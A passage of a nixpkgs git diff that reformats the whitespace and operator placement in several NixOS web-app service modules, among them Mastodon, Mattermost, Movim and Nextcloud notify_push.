+              mkdir -p $(dirname ${cfg.activeRecordEncryptionPrimaryKeyFile})
+              bin/rails db:encryption:init | grep --only-matching "ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY=[^ ]\+" | sed 's/^ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY=//' > ${cfg.activeRecordEncryptionPrimaryKeyFile}
+            fi
+            if ! test -f ${cfg.secretKeyBaseFile}; then
+              mkdir -p $(dirname ${cfg.secretKeyBaseFile})
+              bin/bundle exec rails secret > ${cfg.secretKeyBaseFile}
+            fi
+            if ! test -f ${cfg.otpSecretFile}; then
+              mkdir -p $(dirname ${cfg.otpSecretFile})
+              bin/bundle exec rails secret > ${cfg.otpSecretFile}
+            fi
+            if ! test -f ${cfg.vapidPrivateKeyFile}; then
+              mkdir -p $(dirname ${cfg.vapidPrivateKeyFile}) $(dirname ${cfg.vapidPublicKeyFile})
+              keypair=$(bin/rake webpush:generate_keys)
+              echo $keypair | grep --only-matching "Private -> [^ ]\+" | sed 's/^Private -> //' > ${cfg.vapidPrivateKeyFile}
+              echo $keypair | grep --only-matching "Public -> [^ ]\+" | sed 's/^Public -> //' > ${cfg.vapidPublicKeyFile}
+            fi
 
-              cat > /var/lib/mastodon/.secrets_env <<EOF
-              ACTIVE_RECORD_ENCRYPTION_DETERMINISTIC_KEY="$(cat ${cfg.activeRecordEncryptionDeterministicKeyFile})"
-              ACTIVE_RECORD_ENCRYPTION_KEY_DERIVATION_SALT="$(cat ${cfg.activeRecordEncryptionKeyDerivationSaltFile})"
-              ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY="$(cat ${cfg.activeRecordEncryptionPrimaryKeyFile})"
-              SECRET_KEY_BASE="$(cat ${cfg.secretKeyBaseFile})"
-              OTP_SECRET="$(cat ${cfg.otpSecretFile})"
-              VAPID_PRIVATE_KEY="$(cat ${cfg.vapidPrivateKeyFile})"
-              VAPID_PUBLIC_KEY="$(cat ${cfg.vapidPublicKeyFile})"
-            ''
-            + lib.optionalString (cfg.redis.passwordFile != null) ''
-              REDIS_PASSWORD="$(cat ${cfg.redis.passwordFile})"
-            ''
-            + lib.optionalString (cfg.database.passwordFile != null) ''
-              DB_PASS="$(cat ${cfg.database.passwordFile})"
-            ''
-            + lib.optionalString cfg.smtp.authenticate ''
-              SMTP_PASSWORD="$(cat ${cfg.smtp.passwordFile})"
-            ''
-            + lib.optionalString (cfg.elasticsearch.passwordFile != null) ''
-              ES_PASS="$(cat ${cfg.elasticsearch.passwordFile})"
-            ''
-            + ''
-              EOF
-            '';
+            cat > /var/lib/mastodon/.secrets_env <<EOF
+            ACTIVE_RECORD_ENCRYPTION_DETERMINISTIC_KEY="$(cat ${cfg.activeRecordEncryptionDeterministicKeyFile})"
+            ACTIVE_RECORD_ENCRYPTION_KEY_DERIVATION_SALT="$(cat ${cfg.activeRecordEncryptionKeyDerivationSaltFile})"
+            ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY="$(cat ${cfg.activeRecordEncryptionPrimaryKeyFile})"
+            SECRET_KEY_BASE="$(cat ${cfg.secretKeyBaseFile})"
+            OTP_SECRET="$(cat ${cfg.otpSecretFile})"
+            VAPID_PRIVATE_KEY="$(cat ${cfg.vapidPrivateKeyFile})"
+            VAPID_PUBLIC_KEY="$(cat ${cfg.vapidPublicKeyFile})"
+          ''
+          + lib.optionalString (cfg.redis.passwordFile != null) ''
+            REDIS_PASSWORD="$(cat ${cfg.redis.passwordFile})"
+          ''
+          + lib.optionalString (cfg.database.passwordFile != null) ''
+            DB_PASS="$(cat ${cfg.database.passwordFile})"
+          ''
+          + lib.optionalString cfg.smtp.authenticate ''
+            SMTP_PASSWORD="$(cat ${cfg.smtp.passwordFile})"
+          ''
+          + lib.optionalString (cfg.elasticsearch.passwordFile != null) ''
+            ES_PASS="$(cat ${cfg.elasticsearch.passwordFile})"
+          ''
+          + ''
+            EOF
+          '';
           environment = env;
           serviceConfig = {
             Type = "oneshot";
@@ -938,7 +940,8 @@ in
               "pipe"
               "pipe2"
             ];
-          } // cfgService;
+          }
+          // cfgService;
 
           after = [ "network.target" ];
         };
@@ -994,21 +997,25 @@ in
               "pipe"
               "pipe2"
             ];
-          } // cfgService;
+          }
+          // cfgService;
           after = [
             "network.target"
             "mastodon-init-dirs.service"
-          ] ++ lib.optional databaseActuallyCreateLocally "postgresql.service";
+          ]
+          ++ lib.optional databaseActuallyCreateLocally "postgresql.service";
           requires = [
             "mastodon-init-dirs.service"
-          ] ++ lib.optional databaseActuallyCreateLocally "postgresql.service";
+          ]
+          ++ lib.optional databaseActuallyCreateLocally "postgresql.service";
         };
 
         systemd.services.mastodon-web = {
           after = [
             "network.target"
             "mastodon-init-dirs.service"
-          ] ++ commonServices;
+          ]
+          ++ commonServices;
           requires = [ "mastodon-init-dirs.service" ] ++ commonServices;
           wantedBy = [ "mastodon.target" ];
           description = "Mastodon web";
@@ -1036,7 +1043,8 @@ in
               "pipe"
               "pipe2"
             ];
-          } // cfgService;
+          }
+          // cfgService;
           path = with pkgs; [
             ffmpeg-headless
             file
@@ -1049,7 +1057,8 @@ in
           serviceConfig = {
             Type = "oneshot";
             EnvironmentFile = [ "/var/lib/mastodon/.secrets_env" ] ++ cfg.extraEnvFiles;
-          } // cfgService;
+          }
+          // cfgService;
           script =
             let
               olderThanDays = toString cfg.mediaAutoRemove.olderThanDays;
diff --git a/nixos/modules/services/web-apps/mattermost.nix b/nixos/modules/services/web-apps/mattermost.nix
index dce0774b07ee..83c9181ff302 100644
--- a/nixos/modules/services/web-apps/mattermost.nix
+++ b/nixos/modules/services/web-apps/mattermost.nix
@@ -113,7 +113,8 @@ let
           path = escapeURL cfg.database.name;
           query = {
             host = cfg.database.socketPath;
-          } // cfg.database.extraConnectionOptions;
+          }
+          // cfg.database.extraConnectionOptions;
         }
       else
         mkDatabaseUri {
@@ -798,42 +799,41 @@ in
         };
       };
 
-      systemd.tmpfiles.rules =
-        [
-          "d ${cfg.dataDir} 0750 ${cfg.user} ${cfg.group} - -"
-          "d ${cfg.logDir} 0750 ${cfg.user} ${cfg.group} - -"
-          "d ${cfg.configDir} 0750 ${cfg.user} ${cfg.group} - -"
-          "d ${mutableDataDir} 0750 ${cfg.user} ${cfg.group} - -"
+      systemd.tmpfiles.rules = [
+        "d ${cfg.dataDir} 0750 ${cfg.user} ${cfg.group} - -"
+        "d ${cfg.logDir} 0750 ${cfg.user} ${cfg.group} - -"
+        "d ${cfg.configDir} 0750 ${cfg.user} ${cfg.group} - -"
+        "d ${mutableDataDir} 0750 ${cfg.user} ${cfg.group} - -"
 
-          # Make sure tempDir exists and is not a symlink.
-          "R- ${tempDir} - - - - -"
-          "d= ${tempDir} 0750 ${cfg.user} ${cfg.group} - -"
+        # Make sure tempDir exists and is not a symlink.
+        "R- ${tempDir} - - - - -"
+        "d= ${tempDir} 0750 ${cfg.user} ${cfg.group} - -"
 
-          # Ensure that pluginUnpackDir is a directory.
-          # Don't remove or clean it out since it should be persistent, as this is where plugins are unpacked.
-          "d= ${pluginUnpackDir} 0750 ${cfg.user} ${cfg.group} - -"
+        # Ensure that pluginUnpackDir is a directory.
+        # Don't remove or clean it out since it should be persistent, as this is where plugins are unpacked.
+        "d= ${pluginUnpackDir} 0750 ${cfg.user} ${cfg.group} - -"
 
-          # Ensure that the plugin directories exist.
-          "d= ${mattermostConf.PluginSettings.Directory} 0750 ${cfg.user} ${cfg.group} - -"
-          "d= ${mattermostConf.PluginSettings.ClientDirectory} 0750 ${cfg.user} ${cfg.group} - -"
+        # Ensure that the plugin directories exist.
+        "d= ${mattermostConf.PluginSettings.Directory} 0750 ${cfg.user} ${cfg.group} - -"
+        "d= ${mattermostConf.PluginSettings.ClientDirectory} 0750 ${cfg.user} ${cfg.group} - -"
 
-          # Link in some of the immutable data directories.
-          "L+ ${cfg.dataDir}/bin - - - - ${cfg.package}/bin"
-          "L+ ${cfg.dataDir}/fonts - - - - ${cfg.package}/fonts"
-          "L+ ${cfg.dataDir}/i18n - - - - ${cfg.package}/i18n"
-          "L+ ${cfg.dataDir}/templates - - - - ${cfg.package}/templates"
-          "L+ ${cfg.dataDir}/client - - - - ${cfg.package}/client"
-        ]
-        ++ (
-          if cfg.pluginsBundle == null then
-            # Create the plugin tarball directory to allow plugin uploads.
-            [
-              "d= ${pluginTarballDir} 0750 ${cfg.user} ${cfg.group} - -"
-            ]
-          else
-            # Symlink the plugin tarball directory, removing anything existing, since it's managed by Nix.
-            [ "L+ ${pluginTarballDir} - - - - ${cfg.pluginsBundle}" ]
-        );
+        # Link in some of the immutable data directories.
+        "L+ ${cfg.dataDir}/bin - - - - ${cfg.package}/bin"
+        "L+ ${cfg.dataDir}/fonts - - - - ${cfg.package}/fonts"
+        "L+ ${cfg.dataDir}/i18n - - - - ${cfg.package}/i18n"
+        "L+ ${cfg.dataDir}/templates - - - - ${cfg.package}/templates"
+        "L+ ${cfg.dataDir}/client - - - - ${cfg.package}/client"
+      ]
+      ++ (
+        if cfg.pluginsBundle == null then
+          # Create the plugin tarball directory to allow plugin uploads.
+          [
+            "d= ${pluginTarballDir} 0750 ${cfg.user} ${cfg.group} - -"
+          ]
+        else
+          # Symlink the plugin tarball directory, removing anything existing, since it's managed by Nix.
+          [ "L+ ${pluginTarballDir} - - - - ${cfg.pluginsBundle}" ]
+      );
 
       systemd.services.mattermost = rec {
         description = "Mattermost chat service";
@@ -853,50 +853,49 @@ in
           cfg.environment
         ];
 
-        preStart =
-          ''
-            dataDir=${escapeShellArg cfg.dataDir}
-            configDir=${escapeShellArg cfg.configDir}
-            logDir=${escapeShellArg cfg.logDir}
-            package=${escapeShellArg cfg.package}
-            nixConfig=${escapeShellArg finalConfig}
-          ''
-          + optionalString (versionAtLeast config.system.stateVersion "25.05") ''
-            # Migrate configs in the pre-25.05 directory structure.
-            oldConfig="$dataDir/config/config.json"
-            newConfig="$configDir/config.json"
-            if [ "$oldConfig" != "$newConfig" ] && [ -f "$oldConfig" ] && [ ! -f "$newConfig" ]; then
-              # Migrate the legacy config location to the new config location
-              echo "Moving legacy config at $oldConfig to $newConfig" >&2
-              mkdir -p "$configDir"
-              mv "$oldConfig" "$newConfig"
-              touch "$configDir/.initial-created"
-            fi
+        preStart = ''
+          dataDir=${escapeShellArg cfg.dataDir}
+          configDir=${escapeShellArg cfg.configDir}
+          logDir=${escapeShellArg cfg.logDir}
+          package=${escapeShellArg cfg.package}
+          nixConfig=${escapeShellArg finalConfig}
+        ''
+        + optionalString (versionAtLeast config.system.stateVersion "25.05") ''
+          # Migrate configs in the pre-25.05 directory structure.
+          oldConfig="$dataDir/config/config.json"
+          newConfig="$configDir/config.json"
+          if [ "$oldConfig" != "$newConfig" ] && [ -f "$oldConfig" ] && [ ! -f "$newConfig" ]; then
+            # Migrate the legacy config location to the new config location
+            echo "Moving legacy config at $oldConfig to $newConfig" >&2
+            mkdir -p "$configDir"
+            mv "$oldConfig" "$newConfig"
+            touch "$configDir/.initial-created"
+          fi
 
-            # Logs too.
-            oldLogs="$dataDir/logs"
-            newLogs="$logDir"
-            if [ "$oldLogs" != "$newLogs" ] && [ -d "$oldLogs" ] && [ ! -f "$newLogs/.initial-created" ]; then
-              # Migrate the legacy log location to the new log location.
-              # Allow this to fail if there aren't any logs to move.
-              echo "Moving legacy logs at $oldLogs to $newLogs" >&2
-              mkdir -p "$newLogs"
-              mv "$oldLogs"/* "$newLogs" || true
-              touch "$newLogs/.initial-created"
-            fi
-          ''
-          + optionalString (!cfg.mutableConfig) ''
+          # Logs too.
+          oldLogs="$dataDir/logs"
+          newLogs="$logDir"
+          if [ "$oldLogs" != "$newLogs" ] && [ -d "$oldLogs" ] && [ ! -f "$newLogs/.initial-created" ]; then
+            # Migrate the legacy log location to the new log location.
+            # Allow this to fail if there aren't any logs to move.
+            echo "Moving legacy logs at $oldLogs to $newLogs" >&2
+            mkdir -p "$newLogs"
+            mv "$oldLogs"/* "$newLogs" || true
+            touch "$newLogs/.initial-created"
+          fi
+        ''
+        + optionalString (!cfg.mutableConfig) ''
+          ${getExe pkgs.jq} -s '.[0] * .[1]' "$package/config/config.json" "$nixConfig" > "$configDir/config.json"
+        ''
+        + optionalString cfg.mutableConfig ''
+          if [ ! -e "$configDir/.initial-created" ]; then
             ${getExe pkgs.jq} -s '.[0] * .[1]' "$package/config/config.json" "$nixConfig" > "$configDir/config.json"
-          ''
-          + optionalString cfg.mutableConfig ''
-            if [ ! -e "$configDir/.initial-created" ]; then
-              ${getExe pkgs.jq} -s '.[0] * .[1]' "$package/config/config.json" "$nixConfig" > "$configDir/config.json"
-              touch "$configDir/.initial-created"
-            fi
-          ''
-          + optionalString (cfg.mutableConfig && cfg.preferNixConfig) ''
-            echo "$(${getExe pkgs.jq} -s '.[0] * .[1]' "$configDir/config.json" "$nixConfig")" > "$configDir/config.json"
-          '';
+            touch "$configDir/.initial-created"
+          fi
+        ''
+        + optionalString (cfg.mutableConfig && cfg.preferNixConfig) ''
+          echo "$(${getExe pkgs.jq} -s '.[0] * .[1]' "$configDir/config.json" "$nixConfig")" > "$configDir/config.json"
+        '';
 
         serviceConfig = mkMerge [
           {
diff --git a/nixos/modules/services/web-apps/mealie.nix b/nixos/modules/services/web-apps/mealie.nix
index 46571fea4617..3d5bbc8618f2 100644
--- a/nixos/modules/services/web-apps/mealie.nix
+++ b/nixos/modules/services/web-apps/mealie.nix
@@ -77,7 +77,8 @@ in
         BASE_URL = "http://localhost:${toString cfg.port}";
         DATA_DIR = "/var/lib/mealie";
         NLTK_DATA = pkgs.nltk-data.averaged_perceptron_tagger_eng;
-      } // (builtins.mapAttrs (_: val: toString val) cfg.settings);
+      }
+      // (builtins.mapAttrs (_: val: toString val) cfg.settings);
 
       serviceConfig = {
         DynamicUser = true;
diff --git a/nixos/modules/services/web-apps/mediawiki.nix b/nixos/modules/services/web-apps/mediawiki.nix
index 273c5564bdbf..6c1eaaf60984 100644
--- a/nixos/modules/services/web-apps/mediawiki.nix
+++ b/nixos/modules/services/web-apps/mediawiki.nix
@@ -617,26 +617,25 @@ in
         cfg.httpd.virtualHost
         {
           documentRoot = mkForce "${pkg}/share/mediawiki";
-          extraConfig =
-            ''
-              <Directory "${pkg}/share/mediawiki">
-                <FilesMatch "\.php$">
-                  <If "-f %{REQUEST_FILENAME}">
-                    SetHandler "proxy:unix:${fpm.socket}|fcgi://localhost/"
-                  </If>
-                </FilesMatch>
+          extraConfig = ''
+            <Directory "${pkg}/share/mediawiki">
+              <FilesMatch "\.php$">
+                <If "-f %{REQUEST_FILENAME}">
+                  SetHandler "proxy:unix:${fpm.socket}|fcgi://localhost/"
+                </If>
+              </FilesMatch>
 
-                Require all granted
-                DirectoryIndex index.php
-                AllowOverride All
-              </Directory>
-            ''
-            + optionalString (cfg.uploadsDir != null) ''
-              Alias "/images" "${cfg.uploadsDir}"
-              <Directory "${cfg.uploadsDir}">
-                Require all granted
-              </Directory>
-            '';
+              Require all granted
+              DirectoryIndex index.php
+              AllowOverride All
+            </Directory>
+          ''
+          + optionalString (cfg.uploadsDir != null) ''
+            Alias "/images" "${cfg.uploadsDir}"
+            <Directory "${cfg.uploadsDir}">
+              Require all granted
+            </Directory>
+          '';
         }
       ];
     };
@@ -692,15 +691,14 @@ in
       };
     };
 
-    systemd.tmpfiles.rules =
-      [
-        "d '${stateDir}' 0750 ${user} ${group} - -"
-        "d '${cacheDir}' 0750 ${user} ${group} - -"
-      ]
-      ++ optionals (cfg.uploadsDir != null) [
-        "d '${cfg.uploadsDir}' 0750 ${user} ${group} - -"
-        "Z '${cfg.uploadsDir}' 0750 ${user} ${group} - -"
-      ];
+    systemd.tmpfiles.rules = [
+      "d '${stateDir}' 0750 ${user} ${group} - -"
+      "d '${cacheDir}' 0750 ${user} ${group} - -"
+    ]
+    ++ optionals (cfg.uploadsDir != null) [
+      "d '${cfg.uploadsDir}' 0750 ${user} ${group} - -"
+      "Z '${cfg.uploadsDir}' 0750 ${user} ${group} - -"
+    ];
 
     systemd.services.mediawiki-init = {
       wantedBy = [ "multi-user.target" ];
diff --git a/nixos/modules/services/web-apps/miniflux.nix b/nixos/modules/services/web-apps/miniflux.nix
index 098c920ab264..c6d68f798426 100644
--- a/nixos/modules/services/web-apps/miniflux.nix
+++ b/nixos/modules/services/web-apps/miniflux.nix
@@ -123,12 +123,13 @@ in
       description = "Miniflux service";
       wantedBy = [ "multi-user.target" ];
       requires = lib.optional cfg.createDatabaseLocally "miniflux-dbsetup.service";
-      after =
-        [ "network.target" ]
-        ++ lib.optionals cfg.createDatabaseLocally [
-          "postgresql.service"
-          "miniflux-dbsetup.service"
-        ];
+      after = [
+        "network.target"
+      ]
+      ++ lib.optionals cfg.createDatabaseLocally [
+        "postgresql.service"
+        "miniflux-dbsetup.service"
+      ];
 
       serviceConfig = {
         Type = "notify";
diff --git a/nixos/modules/services/web-apps/misskey.nix b/nixos/modules/services/web-apps/misskey.nix
index 8a5c4bd92766..61c1db972652 100644
--- a/nixos/modules/services/web-apps/misskey.nix
+++ b/nixos/modules/services/web-apps/misskey.nix
@@ -326,19 +326,18 @@ in
       environment = {
         MISSKEY_CONFIG_YML = "/run/misskey/default.yml";
       };
-      preStart =
-        ''
-          install -m 700 ${settingsFormat.generate "misskey-config.yml" cfg.settings} /run/misskey/default.yml
-        ''
-        + (lib.optionalString (cfg.database.passwordFile != null) ''
-          ${pkgs.replace-secret}/bin/replace-secret '@DATABASE_PASSWORD@' "${cfg.database.passwordFile}" /run/misskey/default.yml
-        '')
-        + (lib.optionalString (cfg.redis.passwordFile != null) ''
-          ${pkgs.replace-secret}/bin/replace-secret '@REDIS_PASSWORD@' "${cfg.redis.passwordFile}" /run/misskey/default.yml
-        '')
-        + (lib.optionalString (cfg.meilisearch.keyFile != null) ''
-          ${pkgs.replace-secret}/bin/replace-secret '@MEILISEARCH_KEY@' "${cfg.meilisearch.keyFile}" /run/misskey/default.yml
-        '');
+      preStart = ''
+        install -m 700 ${settingsFormat.generate "misskey-config.yml" cfg.settings} /run/misskey/default.yml
+      ''
+      + (lib.optionalString (cfg.database.passwordFile != null) ''
+        ${pkgs.replace-secret}/bin/replace-secret '@DATABASE_PASSWORD@' "${cfg.database.passwordFile}" /run/misskey/default.yml
+      '')
+      + (lib.optionalString (cfg.redis.passwordFile != null) ''
+        ${pkgs.replace-secret}/bin/replace-secret '@REDIS_PASSWORD@' "${cfg.redis.passwordFile}" /run/misskey/default.yml
+      '')
+      + (lib.optionalString (cfg.meilisearch.keyFile != null) ''
+        ${pkgs.replace-secret}/bin/replace-secret '@MEILISEARCH_KEY@' "${cfg.meilisearch.keyFile}" /run/misskey/default.yml
+      '');
       serviceConfig = {
         ExecStart = "${cfg.package}/bin/misskey migrateandstart";
         RuntimeDirectory = "misskey";
diff --git a/nixos/modules/services/web-apps/monica.nix b/nixos/modules/services/web-apps/monica.nix
index 2aec2d9f9109..2b0b1976422f 100644
--- a/nixos/modules/services/web-apps/monica.nix
+++ b/nixos/modules/services/web-apps/monica.nix
@@ -354,7 +354,8 @@ in
         "listen.mode" = "0660";
         "listen.owner" = user;
         "listen.group" = group;
-      } // cfg.poolConfig;
+      }
+      // cfg.poolConfig;
     };
 
     services.nginx = {
diff --git a/nixos/modules/services/web-apps/moodle.nix b/nixos/modules/services/web-apps/moodle.nix
index e49f7a89d0de..20c61bf7f34b 100644
--- a/nixos/modules/services/web-apps/moodle.nix
+++ b/nixos/modules/services/web-apps/moodle.nix
@@ -317,7 +317,8 @@ in
       settings = {
         "listen.owner" = config.services.httpd.user;
         "listen.group" = config.services.httpd.group;
-      } // cfg.poolConfig;
+      }
+      // cfg.poolConfig;
     };
 
     services.httpd = {
@@ -393,8 +394,7 @@ in
     };
 
     systemd.services.httpd.after =
-      optional mysqlLocal "mysql.service"
-      ++ optional pgsqlLocal "postgresql.service";
+      optional mysqlLocal "mysql.service" ++ optional pgsqlLocal "postgresql.service";
 
     users.users.${user} = {
       group = group;
diff --git a/nixos/modules/services/web-apps/movim.nix b/nixos/modules/services/web-apps/movim.nix
index e9a00878606a..47f57887aad3 100644
--- a/nixos/modules/services/web-apps/movim.nix
+++ b/nixos/modules/services/web-apps/movim.nix
@@ -589,19 +589,18 @@ in
     environment.systemPackages = [ package ];
 
     users = {
-      users =
-        {
-          movim = mkIf (cfg.user == "movim") {
-            isSystemUser = true;
-            group = cfg.group;
-          };
-        }
-        // lib.optionalAttrs (cfg.h2o != null) {
-          "${config.services.h2o.user}".extraGroups = [ cfg.group ];
-        }
-        // lib.optionalAttrs (cfg.nginx != null) {
-          "${config.services.nginx.user}".extraGroups = [ cfg.group ];
+      users = {
+        movim = mkIf (cfg.user == "movim") {
+          isSystemUser = true;
+          group = cfg.group;
         };
+      }
+      // lib.optionalAttrs (cfg.h2o != null) {
+        "${config.services.h2o.user}".extraGroups = [ cfg.group ];
+      }
+      // lib.optionalAttrs (cfg.nginx != null) {
+        "${config.services.nginx.user}".extraGroups = [ cfg.group ];
+      };
       groups = {
         ${cfg.group} = { };
       };
@@ -656,25 +655,24 @@ in
                   "proxy.tunnel" = "ON";
                   "proxy.reverse.url" = "http://${cfg.settings.DAEMON_INTERFACE}:${builtins.toString cfg.port}/";
                 };
-                "/" =
-                  {
-                    "file.dir" = "${package}/share/php/movim/public";
-                    "file.index" = [
-                      "index.php"
-                      "index.html"
-                    ];
-                    redirect = {
-                      url = "/index.php/";
-                      internal = "YES";
-                      status = 307;
-                    };
-                    "header.set" = [
-                      "Content-Security-Policy: ${movimCSP}"
-                    ];
-                  }
-                  // lib.optionalAttrs (with cfg.precompressStaticFiles; brotli.enable || gzip.enable) {
-                    "file.send-compressed" = "ON";
+                "/" = {
+                  "file.dir" = "${package}/share/php/movim/public";
+                  "file.index" = [
+                    "index.php"
+                    "index.html"
+                  ];
+                  redirect = {
+                    url = "/index.php/";
+                    internal = "YES";
+                    status = 307;
                   };
+                  "header.set" = [
+                    "Content-Security-Policy: ${movimCSP}"
+                  ];
+                }
+                // lib.optionalAttrs (with cfg.precompressStaticFiles; brotli.enable || gzip.enable) {
+                  "file.send-compressed" = "ON";
+                };
               };
               "file.custom-handler" = {
                 extension = [ ".php" ];
@@ -832,7 +830,8 @@ in
           "listen.group" = cfg.group;
           "listen.mode" = "0660";
           "catch_workers_output" = true;
-        } // cfg.poolConfig;
+        }
+        // cfg.poolConfig;
       };
     };
 
@@ -846,52 +845,51 @@ in
         requires = lib.optional cfg.database.createLocally dbService;
         after = lib.optional cfg.database.createLocally dbService;
 
-        serviceConfig =
-          {
-            Type = "oneshot";
-            User = cfg.user;
-            Group = cfg.group;
-            UMask = "077";
-          }
-          // lib.optionalAttrs (cfg.secretFile != null) {
-            LoadCredential = "env-secrets:${cfg.secretFile}";
-          };
+        serviceConfig = {
+          Type = "oneshot";
+          User = cfg.user;
+          Group = cfg.group;
+          UMask = "077";
+        }
+        // lib.optionalAttrs (cfg.secretFile != null) {
+          LoadCredential = "env-secrets:${cfg.secretFile}";
+        };
 
         script = # sh
-          ''
-            # Env vars
-            rm -f ${cfg.dataDir}/.env
-            cp --no-preserve=all ${configFile} ${cfg.dataDir}/.env
+        ''
+          # Env vars
+          rm -f ${cfg.dataDir}/.env
+          cp --no-preserve=all ${configFile} ${cfg.dataDir}/.env
+          echo -e '\n' >> ${cfg.dataDir}/.env
+          if [[ -f "$CREDENTIALS_DIRECTORY/env-secrets"  ]]; then
+            cat "$CREDENTIALS_DIRECTORY/env-secrets" >> ${cfg.dataDir}/.env
             echo -e '\n' >> ${cfg.dataDir}/.env
-            if [[ -f "$CREDENTIALS_DIRECTORY/env-secrets"  ]]; then
-              cat "$CREDENTIALS_DIRECTORY/env-secrets" >> ${cfg.dataDir}/.env
-              echo -e '\n' >> ${cfg.dataDir}/.env
-            fi
+          fi
 
-            # Caches, logs
-            mkdir -p ${cfg.dataDir}/public/cache ${cfg.logDir} ${cfg.runtimeDir}/cache
-            chmod -R ug+rw ${cfg.dataDir}/public/cache
-            chmod -R ug+rw ${cfg.logDir}
-            chmod -R ug+rwx ${cfg.runtimeDir}/cache
+          # Caches, logs
+          mkdir -p ${cfg.dataDir}/public/cache ${cfg.logDir} ${cfg.runtimeDir}/cache
+          chmod -R ug+rw ${cfg.dataDir}/public/cache
+          chmod -R ug+rw ${cfg.logDir}
+          chmod -R ug+rwx ${cfg.runtimeDir}/cache
 
-            # Migrations
-            MOVIM_VERSION="${package.version}"
-            if [[ ! -f "${cfg.dataDir}/.migration-version" ]] || [[ "$MOVIM_VERSION" != "$(<${cfg.dataDir}/.migration-version)" ]]; then
-              ${package}/bin/movim-composer movim:migrate && echo $MOVIM_VERSION > ${cfg.dataDir}/.migration-version
-            fi
+          # Migrations
+          MOVIM_VERSION="${package.version}"
+          if [[ ! -f "${cfg.dataDir}/.migration-version" ]] || [[ "$MOVIM_VERSION" != "$(<${cfg.dataDir}/.migration-version)" ]]; then
+            ${package}/bin/movim-composer movim:migrate && echo $MOVIM_VERSION > ${cfg.dataDir}/.migration-version
+          fi
+        ''
+        + lib.optionalString (podConfigFlags != "") (
+          let
+            flags = lib.concatStringsSep " " (
+              [ "--no-interaction" ]
+              ++ lib.optional cfg.debug "-vvv"
+              ++ lib.optional (!cfg.debug && cfg.verbose) "-v"
+            );
+          in
           ''
-          + lib.optionalString (podConfigFlags != "") (
-            let
-              flags = lib.concatStringsSep " " (
-                [ "--no-interaction" ]
-                ++ lib.optional cfg.debug "-vvv"
-                ++ lib.optional (!cfg.debug && cfg.verbose) "-v"
-              );
-            in
-            ''
-              ${lib.getExe package} config ${podConfigFlags}
-            ''
-          );
+            ${lib.getExe package} config ${podConfigFlags}
+          ''
+        );
       };
 
       services.${phpExecutionUnit} = {
@@ -910,20 +908,18 @@ in
           "network.target"
           "local-fs.target"
         ];
-        requires =
-          [
-            "movim-data-setup.service"
-            "${phpExecutionUnit}.service"
-          ]
-          ++ lib.optional cfg.database.createLocally dbService
-          ++ lib.optional (webServerService != null) webServerService;
-        after =
-          [
-            "movim-data-setup.service"
-            "${phpExecutionUnit}.service"
-          ]
-          ++ lib.optional cfg.database.createLocally dbService
-          ++ lib.optional (webServerService != null) webServerService;
+        requires = [
+          "movim-data-setup.service"
+          "${phpExecutionUnit}.service"
+        ]
+        ++ lib.optional cfg.database.createLocally dbService
+        ++ lib.optional (webServerService != null) webServerService;
+        after = [
+          "movim-data-setup.service"
+          "${phpExecutionUnit}.service"
+        ]
+        ++ lib.optional cfg.database.createLocally dbService
+        ++ lib.optional (webServerService != null) webServerService;
         environment = {
           PUBLIC_URL = "//${cfg.domain}";
           WS_PORT = builtins.toString cfg.port;
diff --git a/nixos/modules/services/web-apps/netbox.nix b/nixos/modules/services/web-apps/netbox.nix
index 73581b56d62c..6489ce724ffa 100644
--- a/nixos/modules/services/web-apps/netbox.nix
+++ b/nixos/modules/services/web-apps/netbox.nix
@@ -271,15 +271,14 @@ in
         };
       };
 
-      extraConfig =
-        ''
-          with open("${cfg.secretKeyFile}", "r") as file:
-              SECRET_KEY = file.readline()
-        ''
-        + (lib.optionalString (cfg.keycloakClientSecret != null) ''
-          with open("${cfg.keycloakClientSecret}", "r") as file:
-              SOCIAL_AUTH_KEYCLOAK_SECRET = file.readline()
-        '');
+      extraConfig = ''
+        with open("${cfg.secretKeyFile}", "r") as file:
+            SECRET_KEY = file.readline()
+      ''
+      + (lib.optionalString (cfg.keycloakClientSecret != null) ''
+        with open("${cfg.keycloakClientSecret}", "r") as file:
+            SOCIAL_AUTH_KEYCLOAK_SECRET = file.readline()
+      '');
     };
 
     services.redis.servers.netbox.enable = true;
diff --git a/nixos/modules/services/web-apps/nextcloud-notify_push.nix b/nixos/modules/services/web-apps/nextcloud-notify_push.nix
index 2efb73964160..50025a861ace 100644
--- a/nixos/modules/services/web-apps/nextcloud-notify_push.nix
+++ b/nixos/modules/services/web-apps/nextcloud-notify_push.nix
@@ -11,71 +11,70 @@ let
   cfgN = config.services.nextcloud;
 in
 {
-  options.services.nextcloud.notify_push =
-    {
-      enable = lib.mkEnableOption "Notify push";
+  options.services.nextcloud.notify_push = {
+    enable = lib.mkEnableOption "Notify push";
 
-      package = lib.mkOption {
-        type = lib.types.package;
-        default = pkgs.nextcloud-notify_push;
-        defaultText = lib.literalMD "pkgs.nextcloud-notify_push";
-        description = "Which package to use for notify_push";
-      };
+    package = lib.mkOption {
+      type = lib.types.package;
+      default = pkgs.nextcloud-notify_push;
+      defaultText = lib.literalMD "pkgs.nextcloud-notify_push";
+      description = "Which package to use for notify_push";
+    };
 
-      socketPath = lib.mkOption {
-        type = lib.types.str;
-        default = "/run/nextcloud-notify_push/sock";
-        description = "Socket path to use for notify_push";
-      };
+    socketPath = lib.mkOption {
+      type = lib.types.str;
+      default = "/run/nextcloud-notify_push/sock";
+      description = "Socket path to use for notify_push";
+    };
 
-      logLevel = lib.mkOption {
-        type = lib.types.enum [
-          "error"
-          "warn"
-          "info"
-          "debug"
-          "trace"
-        ];
-        default = "error";
-        description = "Log level";
-      };
+    logLevel = lib.mkOption {
+      type = lib.types.enum [
+        "error"
+        "warn"
+        "info"
+        "debug"
+        "trace"
+      ];
+      default = "error";
+      description = "Log level";
+    };
 
-      nextcloudUrl = lib.mkOption {
-        type = lib.types.str;
-        default = "http${lib.optionalString cfgN.https "s"}://${cfgN.hostName}";
-        defaultText = lib.literalExpression ''"http''${lib.optionalString config.services.nextcloud.https "s"}://''${config.services.nextcloud.hostName}"'';
-        description = "Configure the nextcloud URL notify_push tries to connect to.";
-      };
+    nextcloudUrl = lib.mkOption {
+      type = lib.types.str;
+      default = "http${lib.optionalString cfgN.https "s"}://${cfgN.hostName}";
